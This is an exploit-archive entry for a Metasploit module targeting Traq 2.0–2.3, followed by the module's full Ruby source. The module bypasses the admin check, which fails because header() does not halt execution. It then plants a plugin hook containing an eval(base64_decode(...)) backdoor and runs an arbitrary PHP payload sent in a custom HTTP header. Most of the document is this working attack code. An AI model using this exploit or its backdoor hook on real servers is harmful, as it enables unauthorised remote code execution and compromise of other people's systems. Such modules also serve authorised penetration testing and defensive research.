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Traq 2.3 Authentication Bypass / Remote Code Execution

Traq 2.3 Authentication Bypass / Remote Code Execution
Posted Dec 13, 2011
Authored by EgiX, TecR0c | Site metasploit.com

This Metasploit module exploits an arbitrary command execution vulnerability in Traq 2.0 to 2.3. It's in the admincp/common.php script. This function is called in each script located into /admicp/ directory to make sure the user has admin rights, but this is a broken authorization schema due to the header() function not stopping the execution flow.

tags | exploit, arbitrary, php
MD5 | e05bdd8825527e2e70d105042b0dad1c

Traq 2.3 Authentication Bypass / Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'Traq <= 2.3 Authentication Bypass / Remote Code Execution Exploit',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
Traq 2.0 to 2.3. It's in the admincp/common.php script.

This function is called in each script located into /admicp/ directory to
make sure the user has admin rights, but this is a broken authorization
schema due to the header() function doesn't stop the execution flow. This
can be exploited by malicious users to execute admin functionality resulting
for e.g. in execution of arbitrary PHP code leveraging of plugins.php
functionality.
},
'License' => MSF_LICENSE,
'Author' =>
[
'EgiX', # Vulnerability discovery and exploit
'TecR0c' # Metasploit Module
],
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/18213/' ],
[ 'URL', 'http://traqproject.org/' ],
],
'Privileged' => false,
'Payload' =>
{
'Keys' => ['php'],
'Space' => 4000,
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', {} ]],
'DisclosureDate' => 'Dec 12 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "The path to the Traq installation", "/"]),
],self.class)
end

def check
uri = datastore['URI']
uri += (datastore['URI'][-1, 1] == "/") ? "admincp/login.php" : "/admincp/login.php"

res = send_request_raw(
{
'uri'=> uri
}, 25)

if (res and res.body =~ /Powered by Traq 2.[0-3]/ )
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
p = Rex::Text.encode_base64(payload.encoded)

uri = datastore['URI']
uri += (datastore['URI'][-1, 1] == "/") ? "admincp/plugins.php?newhook" : "/admincp/plugins.php?newhook"

res = send_request_cgi(
{
'method' => 'POST',
'uri' => uri,
'vars_post' =>
{
'plugin_id' => '1',
'title' => '1',
'execorder' => '0',
'hook' => 'template_footer',
'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'
}
}, 25)

uri = datastore['URI']
uri += (datastore['URI'][-1, 1] == "/") ? "index.php" : "/index.php"

res = send_request_cgi(
{
'method' => 'GET',
'uri' => uri,
'headers' =>
{
'CMD' => p,
'Connection' => 'Close',
},
}, 25)
end
end
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